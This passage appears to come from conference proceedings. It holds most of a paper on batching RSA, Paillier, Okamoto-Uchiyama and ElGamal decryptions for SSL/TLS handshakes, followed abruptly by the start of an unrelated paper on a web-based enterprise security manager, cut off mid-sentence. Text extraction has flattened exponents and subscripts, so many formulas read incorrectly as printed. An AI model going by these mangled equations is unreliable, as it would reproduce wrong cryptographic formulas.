tiation. Furthermore, they proved that it is impossible to provide batch RSA
encryption with a single certificate. However, their batching methods are only
valid for RSA algorithm, and are not compatible with the present SSL/TLS pro-
tocol because the server must have several certificates. Additionally, the batching
methods require very small RSA public exponent e (e = 3, 5, 7, 11, . . . , 17) for
the sake of optimal performance. Despite there are no known theoretical attacks
on the cryptosystems with small exponente, it is recommended that e should be
sufficiently large1. In order to provide friendly usage according to the number of
concurrent connections, Qi et al. [3] enabled to select the batch size by modelling
the user connection request with Markov model.

This paper proposes a general method for quickly decrypting encryption of
small messages with homomorphic ciphers (i.e., a cipher which has homomor-
phic property) in an SSL server/client model. It enables that the clients send
encrypted messages independently to the server concurrently, and the server will
merge the ciphertexts into a new ciphertext. With only one decryption opera-
tion, the server can decrypt the new ciphertext into a batched message which
will be split into each message. This method is suitable for SSL/TLS server to
efficiently process handshake. That is to say, it enables to keep the plain text
(mostly the session key) from disclosing.

This paper is organized as follows. Section 2 introduces the definitions of batch
decryption. Section 3 describes the general construction of batch decryption
based on the additive and multiplicative homomorphic cryptosystems. Section 4
shows the example implementations based on RSA-Paillier, Okamoto-Uchiyama,
RSA, and ElGamal cryptosystems. Section 5 describes the batch method appli-
cation in SSL handshakes and the performance analysis. A concluding mark is
drawn in Section 6.

2 Batch Decryption

2.1 Definitions

Definition 1: A cryptosystem S(Setup, E , D) is a tuple of PPT (Probabilistic
Polynomial Time) algorithms such that:

– Setup takes as input a security parameter 1k. It outputs a public key PK
and a private key SK.

– Encrypt E takes as input the public key PK, and a message M ; it outputs
a ciphertext C.

– Decrypt D takes as input the private key SK and the ciphertext C; it
outputs a message M .

1 Recently, Fouque et al. proposed a power analysis attack on small RSA public ex-
ponent scheme[4].
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Definition 2: A batch cryptosystem Bb(Setup, E , D,Merge,Split) of batch
size b over a cryptosystem S(Setup, E , D) is a tuple of PPT algorithms which
handle several messages simultaneously such that:

– Setup takes as input a security parameter 1k. It outputs a public key PK
and a private key SK.

– Encrypt E takes as input the public key PK, messages mi, i = 1, . . . , b′ ≤ b,
it outputs ciphertexts ci, i = 1, . . . , b′.

– Merge takes as input ciphertexts ci, i = 1, 2, . . . , b′ ≤ b and an optional
public key PK; it outputs a batched ciphertext C. Denote as x ◦ y a Merge
operation between two operands x and y .

– Decrypt D takes as input the private key SK and the batched ciphertext
C; it outputs a batched message M .

– Split takes as input the batched message M and an optional public key PK;
it outputs the plaintexts mi, i = 1, 2, . . . , b′ ≤ b.

For simplicity, we omit PK from the PPT algorithms in the following. Fig.1
illustrates the diagram of server/client model. In the model, a client will en-
crypt a short message and send the ciphertext to a server. The server will merge
the ciphertext to generate a batched ciphertext. With the underlying decryp-
tion algorithm, the server will obtain the batched plaintext, and split the batch
plaintext to get all the short messages.
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Fig. 1. Diagram of batch encryption/decryption

Definition 3: Cryptosystem Equivalence means that several cryptosystems have
the comparative security strength. Strictly speaking, for two equivalent cryp-
tosystems B and S, if an adversary A can break B at a non-negligible probabil-
ity, A can break S at a non-negligible probability too; and vice versa. Denote as
B ≡ S two equivalent cryptosystems B and S.

2.2 Attack Model

Since this paper aims to securely deliver short messages in a server/client model,
especially in SSL/TLS handshake session, it targets for CPA (Chosen Plaintext
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Attack) security only. Specifically, an adversary A knows the public key of the
SSL server and starts the attack game as follows.

– A issues a polynomial number of connection queries to the server. Each query
consists of b′ ≤ b ciphertexts whose plaintexts are selected by the A. The
server sends A the commitments to plain texts (e.g., the hash value of the
plain text).

– Server selects a challenge message m, and sends its ciphertext c = E(m) to
A.

– A selects b′ plaintexts mi where b′ < b, sends the ciphertext ci = E(mi) to
the server. The server returns to A the commitments to all messages mi and
m.

– A may further send a polynomial number of connection queries to the server
without knowing the target plaintext m, and obtains the corresponding com-
mitments to plain texts.

– A guesses the plain text m as m̃.

Define the advantage of the adversary A as the probability

AdvAb = PrAb (m = m̃).

If AdvAb is non-negligible, the adversary A can obtain the other’s session key in
an SSL handshakes at a non-negligible probability.

2.3 Sufficiency Condition

Given the underlying cipher S(Setup, E , D), if there are functions Merge oper-
ator ◦ and Split(·) such that

D(E(x)) = x (1)
E(x) ◦ E(y) = E(x � y) for some operator � (2)
Split(x � y) = (x, y) (3)

hold for all (x, y), we can construct a batch cipher which enables the server to re-
cover all the messages with a single decryption operation. Strictly, Eq.(2) should
be D(E(x) ◦ E(y)) = (x � y), but the format in Eq.(2) is helpful in understanding
the homomorphic property.

Theorem 1: If Eq.(1)-(3) hold for a batch scheme Bb(Setup, E , D, ◦,Split),
Bb(Setup, E , D, ◦,Split) ≡ Bb−1(Setup, E , D, ◦,Split).

Proof:
Here we assume that both schemes will produce the same keys with the PPT
algorithm Setup. Hence, both Bb−1 and Bb share the same keys, their commit-
ments to a message are identical.

(1) If Ab is able to start a game against Bb such that AdvAb = Prb(m = m̃)
is not negligible, let’s construct another adversary Ab−1 against Bb−1. Assume
Ab−1 includes two modules: Ab and Agent as shown in Fig.2.
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c =    (m) 

H=(H1, H2) 

Q2=(cs+ 1,cs+ 2,…, cb) 

H1=(h1,h2,…, h s) 

Q1=(c1,c2,… , cs) 

Q=(c1,c2,…, cb) 

Ab Agent  Bb -1 Bb 

H2=(hs+1,hs+ 2,…,  hb) 

m c =    (m) 

Fig. 2. Game of attack on Bb, where hi is the commitment to message mi, Ab−1

includes Ab and Agent

– Consider that Ab issues a polynomial of queries to Bb. For each query, Agent
will intercept each query, halve the query into two new queries. Each new
query includes a half number of ciphertexts of the original query. Agent will
forward each new query to Bb−1. The server Bb−1 sends to Agent the commit-
ments to plain texts. Afterwards, Agent forwards to Ab the commitments.

– Server Bb−1 selects a challenge message m, and sends the ciphertext c = E(m)
to Ab.

– Ab selects a batch b′ < b of messages mi, sends his ciphertext ci = E(mi) to
Bb. Agent will intercept the query (c1, c2, . . . , cb′ , c), halve the query into two
new queries, and forward each new query to Bb−1. The server Bb−1 sends to
Agent the commitments to plain texts. Afterwards, Agent forwards to Ab

the commitments.
– Ab may further send a polynomial number of queries to the server Bb without

knowing the target plaintext m. For each query, Agent will halve the query
into two new queries, forward each new query to Bb−1. The server Bb−1 sends
to Agent the commitments to plain texts. Afterwards, Agent forwards to Ab

the commitments.

With regard to Fig.2, in any round of the above game, when Ab attempts to
send a query to the server Bb, Agent intercepts the query and sends the halved
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query to the server Bb−1. Since both Bb−1 and Bb share the same keys, their
commitments to a message are the same. Hence, Bb−1 is able to simulate the
server Bb to reply to Ab. Since Ab guesses the challenge message m̃ = m sent
from Ab−1 at a non-negligible probability, Ab−1 knows the challenge message m
too. Therefore, Pr+

b−1(m = m̃) is non-negligible.
(2) If Ab−1 is able to start a game such that Prb−1(m = m̃) is not negligible, at

a non-negligible probability, let’s construct another adversary Ab which includes
two modules: Ab−1 and Agent as shown in Fig.3.

 

c =    (m) 

H H 

Q Q=(c1,c2,…, cb) 

Agent  Ab -1 Bb -1 Bb 

m  c =     (m) 

Fig. 3. Game of attack on Bb where the adversary Ab consists of Ab−1 and Agent

– Consider that Ab−1 issues a polynomial of queries to Bb−1. For each query,
Agent will intercept each query, forward it to Bb. The server Bb sends to
Agent the commitments to plain texts. Afterwards, Agent forwards to Ab−1
the commitments.

– Server Bb selects a challenge message m, and sends its ciphertext c = E(m)
to Ab and Ab−1.

– Ab−1 selects a batch b′ < b of messages mi, sends the ciphertext ci = E(mi)
to Bb−1. Agent will intercept the query (c1, c2, . . . , cb′ , c), and forward the
query to Bb. The server Bb sends to Agent the commitments to plain texts.
Afterwards, Agent forwards to Ab−1 the commitments.

– Ab−1 may further send the a polynomial number of queries to the Bb−1
without knowing the target plaintext m. Agent will forward each query to Bb.
The server Bb sends to Agent the commitments to plain texts. Afterwards,
Agent forwards to Ab−1 the commitments.

With regard to Fig.3, in any round of the above game, when Ab−1 attempts
to send query to the server Bb−1, Agent intercepts the query and sends the
query to the server Bb. Since both Bb−1 and Bb share the same keys, their
commitments to a message are the same. Hence, Bb is able to simulate the server
Bb−1 to reply to Ab−1. Since Ab−1 guesses the challenge message sent from Bb
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at a non-negligible probability, Ab knows the challenge message too. Therefore,
Pr+

b (m = m̃) is non-negligible. ��
Iteratively, we can deduce Bb(Setup, E , D, ◦,Split) ≡ B1(Setup, E , D, ◦,
Split). Indeed, B1(Setup, E , D, ◦,Split) is identical to the underlying cipher
S(Setup, E , D). Therefore,

Corrollary 1: Bb(Setup, E , D, ◦,Split) ≡ S(Setup, E , D).

Theorem 2: If Eq.(1)-(3) hold, B2(Setup, E , D, ◦,Split) is a batch cipher.

Proof:
Given that a client U1, selects a (random) message x, he encrypts x with the
server’s public key, and sends the ciphertext E(x) to the server. Similarly, a
second client U2 sends the ciphertext c2 to the server independently.

The server will merge the two ciphertext to generate a batched ciphertext
C = E(x) ◦ E(y)=E(x � y) due to Eq.(2). According to Eq.(1), the server will
decrypt the batched ciphertext M = D(C) = x � y.

According to Eq.(3), Split(M) = Split(x � y) = (x, y), hence the server
obtains the plaintexts sent from two clients with only one decryption operation.

��
Easily, we can extend the case of batch size b > 2.

3 Concrete Construction

In the following, the batch size is b, each element in the finite domain ZN is of
n bits, and each message is of t bits. Define | x | as the length of x in bits, and
substring(x, x0, t) as a t-bit substring of x starting at x0.

3.1 Batching with Additive Homomorphic Cipher

Assume that E(·) is an additive homomorphic encryption function, i. e.,

∀x, y ∈ ZN , E(x) ◦ E(y) = E(x + y)

given that x + y ∈ ZN for finite domain ZN . Furthermore, assume n > tb, recall
n is the number of bits for representing any element in ZN , and t is the size of
any message mi. The PPT algorithms for an additive batch cipher are as follows.

1. Setup: takes as input a security parameter 1k. It outputs a public key PK
and a private key SK.

2. Encrypt E: Each user Ui transforms the message mi as m′
i = mi×2(i−1)t(i =

1, 2, . . . , b), and sends the ciphertext ci = E(m′
i) to the server.

3. Merge: Because | mi |= t,

1 ≤ mi < 2t (4)
2(i−1)t ≤ m′

i = mi × 2(i−1)t < 2it

then
M = m′

1 + · · · + m′
b < 2t + 22t + · · · + 2bt < 2n. (5)
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Therefore, it is easy to make sure M ∈ ZN . Hence the server can perform
the Merge operation as

C = c1 ◦ c2 ◦ · · · ◦ cb = E(m′
1 + m′

2 + · · · + m′
b) = E(M)

4. Decrypt D:

Md = D(C) = D(E(M)) = m′
1 + m′

2 + · · · + m′
b

= m1 + m2 × 21 + . . . + mi × 2(i−1)t + . . . + mb × 2(b−1)t

5. Split: Because | mi |= t, each message mi is a t-bit substring of Md. That
is to say, message mi = substring(Md, (i − 1)t, t).

As a result, the server gets all the messages with only one decryption operation.

Corollary 2: The Additive batch scheme is a batch cipher.

Proof:
Apparently, ∀x, D(E(x)) = x according to the underlying cipher S(Setup, E , D).
And ∀x, E(x) ◦ E(0) = E(x))

D(E(m′
1) ◦ E(m′

2) ◦ . . . ◦ E(m′
b))

= D(E(m′
1 + m′

2 + . . . + m′
b)

= m′
1 � m′

2 � . . . � m′
b

Split(m′
1 � m′

2 � . . . � m′
b) = (m1, m2, . . . , mb)

Since the additive batch method satisfies Eq.(1)-Eq.(3), according to Theorem
2, the additive batch is a batch cipher. ��

3.2 Batching with Multiplicative Homomorphic Cipher

A multiplicative homomorphic encryption E(·) holds the following property:

∀x, y ∈ ZN , E(x) ◦ E(y) = E(x × y)

given that x × y ∈ ZN . Suppose n > 0.5b(b + 1)t, where n is the number of bits
for representing any element in ZN . The PPT algorithms for a multiplicative
batch cipher are as follows.

1. Setup: takes as input a security parameter 1k. It outputs a public key PK
and a private key SK.

2. Encrypt E: Let m′
1 = m1, and m′

i = mi ×2(i−1)t +1, i = 2, . . . , b. Each user
Ui sends the ciphertext ci = E(m′

i) to the server.
3. Merge: Because | mi |= t, then

M = m′
1m

′
2 · · ·m′

b = m1(m2 × 2t + 1) · · · (mb × 2(b−1)t + 1)
| M | = t + 2t + · · · + bt = 0.5b(b + 1)t < n

Hence, it is easy to make sure M ∈ ZN . The server performs the Merge
operation as

C = c1c2 · · · cb = E(m′
1m

′
2 · · · m′

b).
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4. Decrypt D:

Md = D(C) = D(E(M)) = m′
1m

′
2 · · ·m′

b.

5. Split: Let T1 = Md = m′
1m

′
2 · · ·m′

b. Denote

T2 = m′
2m

′
3m

′
4 . . . m′

b = (m2 × 2t + 1)(m3 × 22t + 1) · · · (mb × 2b−1 + 1),
and then T2 is rewritten as form z1 × 2t + 1 for some z1. Hence,
T1 = m′

1 × T2 = m1 × z1 × 2t + m1.

Thus m1 = substring(T1, 0, t). Similarly, for i = 2, 3, . . . , b, let

Ti = Ti−1/m′
i−1 = m′

i × (zi × 2it + 1)

= (mi × 2(i−1)t + 1)(zi × 2it + 1)
= mi × zi × 2(2i−1)t + zi × 2it + mi × 2(i−1)t + 1 for some zi,

then message mi = substring(Ti, (i − 1)t, t).

As a result, the server gets all the messages with only one decryption operation.

Corollary 3: The multiplicative batch scheme is a batch cipher.

Proof:
Apparently, ∀x, D(E(x)) = x according to the underlying cipher S(Setup, E , D).
And ∀x, E(x) ◦ E(1) = E(x))

D(E(m′
1) ◦ E(m′

2) ◦ . . . ◦ E(m′
b))

= D(E(m′
1 × m′

2 × . . . × m′
b)

= m′
1 × m′

2 × . . . × m′
b = m′

1 � m′
2 � . . . � m′

b

Split(m′
1 � m′

2 � . . . � m′
b) = (m1, m2, . . . , mb)

Thus, since the multiplicative batch method satisfies Eq.(1)-Eq.(3), according
to Theorem 2, the multiplicative batch scheme is a batching cipher. ��

4 Construction Examples

With the methods introduced in Section 3, this Section designs a group of batch
methods whose underlying schemes are RSA-Pailler, RSA, and ElGamal encryp-
tion systems. Due to space limitation, we ignore the implementation on ECC.

4.1 Batching with RSA-Paillier Cryptosystem

RSA-Paillier encryption function [5] is additive homomorphic, therefore it can
be used to construct an additive batch cipher whose PPT algorithms are:

1. Setup: Select a pair of large primes (p, q) as private key, N = pq, and
a small number 1 < e < N , such that gcd(e, λ(N2)) = 1. Suppose N >
2bt + 2(b−1)t+1.
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2. Encrypt E: Each user Ui transforms the message mi as m′
i = mi×2(i−1)t(i =

1, 2, . . . , b). To encrypt the message mi, Ui selects a random number ri ∈ Z∗
N ,

and sends the ciphertext ci = E(m′
i) = re

i (1+m′
iN) mod N2 to the server.

3. Merge: Because | mi |= t,

1 ≤ mi < 2t (6)
2(i−1)t ≤ m′

i = mi × 2(i−1)t < 2it

then
M = m′

1 + · · · + m′
b < 2bt + 2 × 2(b−1)t < N. (7)

Let r = r1r2 . . . rb, the server performs the Merge operation as

C = c1 × c2 × · · · × cb mod N2

= re
1(1 + m′

1N) × re
2(1 + m′

2N) × · · · × re
b (1 + m′

bN) mod N2

= (r1r2 . . . rb)e(1 + (m′
1 + m′

2 + · · · + m′
b)N) = re(1 + MN) mod N2

4. Decrypt D: Calculate Ĉ = C mod N = re mod N , and further obtain
r with private key (p, q). Therefore,

Md = (
C

re
− 1 mod N2)/N = M = m′

1 + m′
2 + · · · + m′

b

= m1 + (m2 × 2t) + · · · + (mb × 2(b−1)t).

5. Split: Because | mi |= t, each message mi is a t-bit substring of Md. That
is to say, message mi = substring(Md, (i − 1)t, t).

As a result, the server gets all the messages with only one decryption operation.

4.2 Batching with Okamoto-Uchiyama Cryptosystem

Okamoto-Uchiyama encryption function [6] is additive homomorphic, and hence
it enables to construct an additive batch cipher whose PPT algorithms are:

1. Setup: Suppose p and q are large primes, and gcd(p, q−1) = gcd(q, p−1) = 1,
N = p2q, choose g randomly such that the order of gp−1 mod p2 is p. Denote
h = gN mod N . The public key is (N, g, h). Suppose p > 2bt + 2(b−1)t+1.

2. Encrypt E: Each user Ui transforms the message mi as m′
i = mi×2(i−1)t(i =

1, 2, . . . , b). To encrypt the message mi, Ui selects a random ri, the ciphertext
ci = gm′

ihri mod N . Send the ciphertext ci to the server.
3. Merge: Because | mi |= t,

1 ≤ mi < 2t (8)
2(i−1)t ≤ m′

i = mi × 2(i−1)t < 2it

then
M = m′

1 + m′
2 + · · · + m′

b < 2bt + 2 × 2(b−1)t < p. (9)
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Let r = r1 + r2 + · · · + rb, the server performs the Merge operation as

C = c1c2 · · · cb = gm′
1hr1 × gm′

2hr2 × · · · × gm′
bhrb mod N

= g(m′
1+m′

2+···+m′
b)h(r1+r2+···+rb) mod N

= gMhr.

4. Decrypt D: To decrypt the ciphertext C, calculate Cp = Cp−1 mod p2,
then

Md =
L(Cp)
L(gp)

mod p = m′
1 + m′

2 + · · · + m′
b,

where L(x) = (x − 1)/p.

5. Split: Because | mi |= t, each message mi is a t-bit substring of Md. That
is to say, message mi = substring(Md, (i − 1)t, t).

As a result, the server gets all the messages with only one decryption operation.

4.3 Batching with RSA Cryptosystem

Since RSA encryption function is multiplicative homomorphic, we can construct
a multiplicative batch RSA whose PPT algorithms are:

1. Setup: select two large primes p, q, N = pq, and a small number 1 < e < N ,
such that gcd(e, λ(N)) = 1, the RSA private key is (d, N) where ed = 1
mod λ(N). Suppose n = 
log2 N� > 0.5b(b + 1)t.

2. Encrypt E: Let m′
1 = m1, and m′

i = mi ×2(i−1)t +1, i = 2, . . . , b. Each user
Ui sends the ciphertext ci = E(m′

i) = (m′
i)

e mod N to the server.
3. Merge: Let M = m′

1m
′
2 · · ·m′

b = m1(m2 × 2t + 1) · · · (mb × 2(b−1)t + 1),
because | mi |= t,

| M | = t + 2t + · · · + bt = 0.5b(b + 1)t < n

Hence, M ∈ ZN . The server performs the Merge operation as

C = c1c2 · · · cb = (m′
1)

e × (m′
2)

e × · · · × (m′
b)

e = (m′
1m

′
2 · · ·m′

b)
e.

4. Decrypt D:

Md = D(C) = Cd = m′
1m

′
2 · · · m′

b.

5. Split: it is the same as the Split algorithm in Subsection 3.2.

As a result, the server gets all the messages with only one decryption operation.
Although Boneh et al. [7] proposed an attack on the näıve employment of

RSA and/or ElGamal encryption for short messages (e.g., 64 bits), their attack
is impractical for any message of 128 bits such as SSL session key.
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4.4 Batching with ElGamal Cryptosystem

With ElGamal encryption as the underlying multiplicative homomorphic func-
tion, we can construct a multiplicative batch cipher whose PPT algorithms are:

1. Setup: Select a large prime p, an element g with order q | p − 1, the private
key is 1 < x < q, and public key y = gx mod p. Suppose n = 
log2 p� >
0.5b(b + 1)t.

2. Encrypt E: Let m′
1 = m1, and m′

i = mi ×2(i−1)t +1, i = 2, . . . , b. Each user
Ui selects a random ri, and sends the ciphertext ci = E(m′

i) = (gri , m′
i ×yri)

mod p to the server.
3. Merge: Let r = r1 + r2 + · · · + rb,

Va = gr1 × gr2 . . . grb = gr1+r2+···+rb = gr

Vb = m′
1y

r1 × m′
2y

r2 × · · · × m′
by

rb = (m′
1m

′
2 · · · m′

b)y
r1+r2+···+rb

= (m′
1m

′
2 · · ·m′

b)y
r

M = m′
1m

′
2 · · · m′

b = m1(m2 × 2t + 1) · · · (mb × 2(b−1)t + 1)

Because | mi |= t, then

| M | = t + 2t + · · · + bt = 0.5b(b + 1)t < n

Hence, M < p and C = E(M) = (gr, Myr) = (Va, Vb).
4. Decrypt D:

Md = D(C) = D(E(M)) = Vb/Rx
a = m′

1m
′
2 · · · m′

b.

5. Split: it is the same as the Split algorithm in Subsection 3.2.

As a result, the server gets all the messages with only one decryption operation.

5 Applications on SSL Protocol

Although SSL/TLS is a de facto international standard in secure web trans-
action, it is slow to setup a SSL secured channel due to the cost of public-key
operations in SSL/TLS handshake. Specifically, the client generates a random m
and encrypts it with the agreed asymmetric cipher e.g., RSA. The ciphertext c is
sent to the server. The server will decrypt the ciphertext so as to obtain m which
determines the security of the following communication traffic. This decryption
is the most time consuming in the whole protocol. Batch decryption targets for
speeding up the decryption process in case of concurrent handshakes. However,
if the present method is used to manage several SSL connection requests in a
batch way, we should make a little modification on SSL implementation (e.g.
OpenSSL) so as to manage client synchronization and message size.
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5.1 Synchronization

In the proposed scheme, each client will encrypt the selected random number
m independently, but it is necessary that each client modifies her/his message
differently in a batch of b consecutive connection requests. Fortunately, we need
not change the protocol, but merely modify the implementation to achieve this
adaptation. With regards to Table 1, in a group of consecutive b connection
requests,

– for ith connection request, the serve makes sure that i = (si mod b)+1 where
si is a random number generated by server in SSL ServerHello exchange.
Alternatively, the server may generate i by permuting {0, 1, . . . , b − 1}, and
generate the SeverHello.random si = s′i ‖ i where s′i is a random number.

– after receiving si, the ith client will modify the message mi into m′
i as Sub-

section 4.3, and encrypt m′
i into ci, ciphertext ci is sent the server.

– the server will merge the ciphertexts into a batched ciphertext C and decrypt
C into batched message Md.

– the server will split the decrypted message Md so as to obtain the plaintext
mi.

– afterwards, the server will continue the rest of the standard SSL protocol
such as key confirmation.

Table 1. Batched SSL handshake with RSA cryptosystem ((d,N) is RSA private key)

Client Ui Server
ClientHello.random vi −→

←− ServerHello.random si

Server certificate on (N,e)
Client certificate*
ClientKeyExchange −→ C = c1c2 . . . cb

a = si mod b Md = Cd mod N

if a = 0, (ci = (mi)e mod N) Split(Md) = (m1, m2, . . . , mb)
else ci = (mi × 2a + 1)e mod N

←− Hash(si, vi, mi)

5.2 Message of Large Size

In the software package OpenSSL, the message for encryption is of 48 bytes or
384bits. According to the constraint n > 0.5b(b + 1)t on multiplicative batch-
ing method, the present scheme is not efficient for large messages. To deal with
large size messages, we employ a hybrid encryption [9] to replace the direction
RSA encryption without changing SSL protocol. Specifically, since the size of a
message x (i.e., called as master key in SSL protocol) is 384 which is greater
than t = 128, we will select a random m with | m |= t, and encrypt x with key
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Fig. 4. Performance gain in terms of batch size, where accelerate rate is the ratio
between conventional decryption time and batch decryption time

m according to a symmetric cipher such as AES, then we encrypt m with the
public key cipher S(·). The server will batch the encryption of all the keys m,
and decrypt m in a batch. Afterwards, the server will recover x with symmetric
decryption.

5.3 Batch Strategy

In normal SSL, the server can start decrypt as soon as ClientKeyExchange
message is received. However, in the batch decryption, the server has to wait for
b ClientKeyExchange messages. When there are few SSL connection requests
(i.e., the server is not busy), both server and client may waste a lot of time.
Hence, it is preferable to be flexible in batch size. Concretely, the server creates
a queue for the waiting requests. If the server is ready for decryption but the
size of waiting queue is smaller than the maximum batch size b, the server will
perform batch decryption immediately with the ciphertexts in the queue.

5.4 Experimental Result

Theoretically, the decryption speed with the present paper is about as k times
fast as the conventional one when k ciphertexts are used for batching. For in-
stance, Lemstra et al. [10] pointed out that RSA1024 is at risk after MD5. if we
select RSA 1280 and AES 128, and the batch size b = 5, the batch decryption
speed is as 5 times fast as direct decryption. In order to test the practical per-
formance, a simulation is executed in Windows XP platform. In the experiment,
one computer is used to simulate many clients by sending many requests to a
server, and the server will decrypt the ciphertext with the present batch scheme
with the maximum batch size. Fig.4 is our experiment result for evaluating per-
formance gain 2.
2 The simulation and Figure 4 are provided by Shiqun Li, Zhiguo Wang and Fang Qi.
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6 Conclusion

As a most successful application of public key crypto-cryptosystem, SSL protocol
builds a session between the server and client. The paper enables to decrypt a
batch of session keys with only one descrption operation,and hence increases the
server performance. In addition to the performance improvement, batch tech-
nology also increases the barrier of the remote timing attack [11] since the inde-
pendent messages from different clients make it hard to estimate the computa-
tional time. The present method can be implemented with additive cryptosysem
and multiplicative crypto-system with a single certificate. However, the present
scheme is not a general counterexample to [2] since it is only applicable for short
messages.
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Abstract. Enterprises use security equipments in order to protect their 
information assets from various attacks such as viruses and hacking. However, 
such individual equipments hardly provide enterprise level integrated security. 
Recently, there has been a great need in small/medium businesses to purchase 
such integrated security services in a cost effective way by means of an ASP 
solution. We propose the architecture of a web-based enterprise security 
manager that can be used as an ASP solution. To the best of our knowledge, it 
is the first such system that provides integrated security management services 
through the web. We conducted experiments on our prototype system, and 
showed that it could handle 30 million logs per day, and serve 300 concurrent 
web users with 20 transactions per session. This system is now running as a 
commercial application service at KT Bizmeka, which is one of the largest 
Korean ASPs. 

1   Introduction 

Advances in Internet technologies lead enterprises to use Internet connected 
computers or equipments for their business. While the Internet offers an essential 
function for the business, it also causes various kinds of security threats to the 
enterprise [1]. In order to protect their information assets from security attacks, 
enterprises use security equipments such as firewalls, IDS, VPN, A/V, etc. However, 
these equipments only resolve certain types of security problems. It is also costly and 
inefficient for the system administrator to monitor multiple equipments in parallel and 
to make a judgment on the integrated security status of the entire enterprise 
information assets. 

Recently, there has been a great interest in developing a security system that 
manages the entire security equipments of an enterprise [2]. The main functions of the 
system are to monitor all the heterogeneous security equipments of an enterprise, 
apply enterprise level information protection policies, provide statistics, and alert the 
                                                           
* This work was supported by the KT Information Security Business Unit. 
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users in emergency situations. Such a system is widely called an ESM(Enterprise 
Security Manager). 

Except for a few large corporations, it is very costly and difficult for an enterprise 
to develop and maintain an ESM. Small/medium businesses rather wish to receive 
such an integrated security services from an ASP (Application Service Provider) as 
they receive other services [3]. In this paper, we propose the architecture of a web-
based ESM (WESM-ASP) that can be used for such purposes. To the best of our 
knowledge, it is the first web-based ESM as an ASP solution. 

An ESM as an ASP solution can be built upon currently available ESMs. In such a 
case, various issues should be considered. Tremendous amount of data/log that is 
coming from many heterogeneous security equipments should be processed in a 
timely manner. Personalized services should be given to each enterprise. Dynamically 
changing IP’s of those security equipments should be recognized. The service should 
not be interrupted or stopped even when security equipments are frequently added or 
removed. The system should be easily deployed and installed without visiting the 
users’ sites. 

In this paper, we propose the architecture of a web-based ESM that satisfies the 
above-mentioned points. We evaluated the performance of the developed WESM-
ASP with a virtual scenario, and showed that our installation can cover 30 million 
logs per day, and process 300 concurrent web users with 20 transactions per session. 
The WESM-ASP is currently running as a commercial application service at KT 
Bizmeka, which is one of the largest Korean ASPs. The rest of this paper is organized 
as follows. In Section 2, related research results are given.  In Section 3, the 
architecture of a WESM-ASP is proposed. In Section 4, the performance analysis 
results are shown. Section 5 concludes the paper. 

2   Related Research 

In order to protect the information assets from security threats, enterprises have been 
using various security equipments such as firewalls, IDS, VPN, A/V, etc. These 
individual equipments are with their own management servers and carry out 
specialized functions. Depending on the security requirements, enterprises establish 
their own security policies, and configure the security equipments accordingly [4]. 
However, such a complicated configuration aggravates the system administrator’s job 
with the following reasons [5]. Multiple heterogeneous equipments should be 
monitored in parallel. It is difficult to analyze the correlations between the security 
logs with different formats, causing inevitable delay in responding to emergency 
situations.   

Recently, there has been a great need to centralize the management of security 
equipments so that the comprehensive knowledge of the security status of the 
enterprise information assets can easily be provided to the system administrator. Such 
a movement vitalized the development of ESMs (Enterprise Security Manager). An 
ESM is  an integrated security management system that enhances the enterprise level 
security as well as maximizes the efficiency of the security management processes by 
managing all the possibly heterogeneous security equipments with enterprise level 
consistent security policies. With the support of an ESM, enterprises can reduce 
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security risks and establish a preventive and efficient security management 
environment [2]. 

An overview of the ESM processes is given in Fig 1. The basic function of an ESM 
is to collect from the security equipments various information such as security 
equipment status logs, network status logs, and security logs. Collected information is 
then filtered so that the users can easily monitor the entire security equipments. 
Filtered information is also analyzed in real time, and statistics are computed to 
provide  integrated viewpoints to the users in a timely manner. Users are also alerted 
in case of emergencies. One of the important services provided by an ESM is 
generating and delivering various types of reports.  

 

Fig. 1. The ESM processes 

Some of the recently developed ESMs include Symantec ESM 6.5 [6], IBM’s 
Tivoli RM (Risk Management) [7], ArcSight’s ESM 3.5 [8], CA’s eTrust SCC 
(Security Command Center) [9], and HP’s OpenView [10]. However, these are only 
for an individual enterprise, thus not adequate as an ASP solution. 

The main functions of a web-based ESM for an individual user are the same as 
those of an ESM. In addition to these functions, a web-based ESM should satisfy the 
following five necessities in order to provide real-time services to many unspecified 
users. First, the system should provide real-time services to the users. A tremendous 
amount of log data should be processed in real time so that the summarized results 
can be given to the users to make a prompt decision on time critical events. 
Multidimensional data analyses should be done by grouping users, equipments,  
and/or periods, as well. That is, the performance of the system should be maximized. 

Second, the system should be flexible and extendable. Customized and 
personalized services should be given to individual users. The system should be easily 
extended as the number of users increases. Third, the system should be able to handle 
heterogeneous equipments. It is very likely that the number and variety of the 
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equipments managed by the system increase frequently. Fourth, the system should be 
highly available. The system should not crash in any case. Even a minute of 
interruption of service may be very critical. Fifth, the system should be web-based. 
The security service should not depend on the computer systems of the users. The 
service should be given anywhere any time. One of the best ways to give services to 
such users is through the web. 

3   The Architecture of WESM-ASP 

This section shows the architecture of WESM-ASP. Here, the hardware configuration 
is given first and then the software components are explained.  

3.1   The Hardware Configuration 

WESM-ASP has been developed in the Windows environment. The hardware 
configuration of the system is shown in Fig. 2. WESM-ASP consists of nine major 
servers. Each server is modularized in a way to provide extendibility and flexibility. 
In order to maximize the extendibility and high availability of the system, the NLB 
(Network Load Balancing) function is employed. The NLB distributes the workloads 
evenly to the cluster nodes in the web farm. The log servers on the bottom layer are 
clustered so that one server replaces the others in case of a crash. Currently the system 
has three log servers. However, as workloads are increased, more log servers can be 
placed without causing any problems. 

 

Fig. 2. The hardware for WESM-ASP 

The communication mechanisms adopted by WESM-APS include .NET Remoting 
and Web services. .NET Remoting is used for the communication between the log 
servers and the process servers. It provides very flexible and high performance 
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communication between the distributed .NET assemblies. Web services are used for 
the communication between the web servers and process servers, and between the 
report servers and the process servers. Both communication mechanisms allow the 
servers to be loosely coupled so that other services can easily be added without 
modifying the existing  services.   

3.2   The Software Components 

The software components of WESM-ASP are developed in multi-tier architecture so 
that the system can easily be maintained and extended. Each tier is again modularized 
according to its functionalities. The overview of the software components is shown in 
Fig. 3. It consists of a log server farm, an application server farm, a web farm, and a 
report server. 

 

Fig. 3. The software for WESM-ASP 

(1) Log Server Farm 
The log server farm consists of three log collecting modules and one event 
distribution module. The ‘Syslog collector & processor’ module collects the security 
log data from the security equipments. On the other hand, the ‘Snmp collector & 
processor’ module collects the performance log data from the security equipments. 
Both modules filter the information according to the pre-determined policies. The 
‘ESM Server log collector’ module collects the log data from all the servers of 
WESM-ASP itself, and constantly monitors the data to provide stable services. The 
‘Event distributor’ module transforms the information that the users should be aware 
of to events. The events are then grouped by various conditions such as customers, 
equipments, and periods, etc.  
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(2)  Application Server Farm 
The application server farm has the WESM-ASP’s business module. It receives the 
events from the ‘Event distributor’ of the log server farm. The main functionality of 
